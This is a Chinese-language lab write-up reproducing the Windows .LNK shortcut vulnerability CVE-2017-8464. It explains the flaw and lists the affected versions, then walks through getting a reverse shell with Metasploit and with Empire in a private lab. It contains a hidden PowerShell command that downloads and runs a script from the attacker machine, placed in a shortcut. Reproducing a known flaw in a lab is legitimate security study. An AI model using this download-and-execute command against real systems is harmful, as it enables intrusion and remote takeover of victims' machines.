0x01 漏洞原理
Windows系统通过解析 .LNK 后缀文件时,是使用二进制来解析的,而当恶意的二进制代码被系统识别执行的时候就可以实现远程代码执行,由于是在explorer.exe进程中运行的,所以load进内存的时候与当前用户具有相同的权限。
于是攻击者利用这一解析过程的漏洞,将包含恶意二进制的代码被附带进可移动驱动器(或远程共享过程中),受害者使用powershell解析 .LNK 文件后就会被黑客所控制。
成功利用此漏洞的攻击者可能会获得与本地用户相同的用户权限。
0x02 受影响版本
windows 7(32/64位)
windows 8(32/64位)
windows 8.1(32/64位)
windows 10(32/64位,RTM/TH2/RS1/RS2)
windows server 2008(32/64位/IA64)
windows server 2008 R2(64位/IA64)
windows server 2012
windows server 2012 R2
windows server 2016
windows Vista
0x03 漏洞利用1
运用Metasploit对目标主机所存在的漏洞进行利用。选用multi/handler监听模块,利用后可获取shell。
首先我们要准备好CVE-2017-8464的复现环境,kali虚拟机和windows server2008。
攻击机:kali IP:192.168.137.133
靶机:windows server2008 IP:192.168.137.132
3.1 打开kali终端,生成一个powershell文件
3.2 然后将生成的文件移动至/var/www/html目录下
3.3 开启apache服务
3.4 在网页尝试访问一下
3.5 访问没有问题,我们启动MSF,使用监听模块multi/handler,并配置好对应选项
3.6 然后开始监听
3.7 然后我们切换到windows server2008,创建一个快捷方式
我们在这里输入构造好的路径代码:
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.137.133/1.ps1');test.ps1"
3.8 点击下一步,然后点击完成,生成的就是一个powershell快捷方式
3.9 我们双击运行一下快捷方式,因为这个快捷方式秒退,无法截图,所以这里
就不贴图了,双击大家都会。然后我们切回kali虚拟机,发现已经反弹到了shell
0x04 漏洞利用2
4.1 使用Empire工具对Win10系统进行攻击,如下图所示:
4.2 这里会发现,帝国工具与msf有着差不多的样子。
然后我们使用Windows能够识别的脚本,即生成 .bat文件,然后立刻会存放在/tmp 下:
4.3 使用记事本打开bat脚本时,可以看到,恶意二进制代码使用base64加密:
4.4 将这个名为launcher.bat的文件在Windows中运行起来时,回到监听端口就可以看到目标主机已经上线 :
4.5 如此,Windows就获得了当前用户权限:
0x05 参考链接
2."震网三代" CVE-2017-8464 关于Powershell 漏洞复现
原文地址:https://www.cnblogs.com/-mo-/p/11442815.html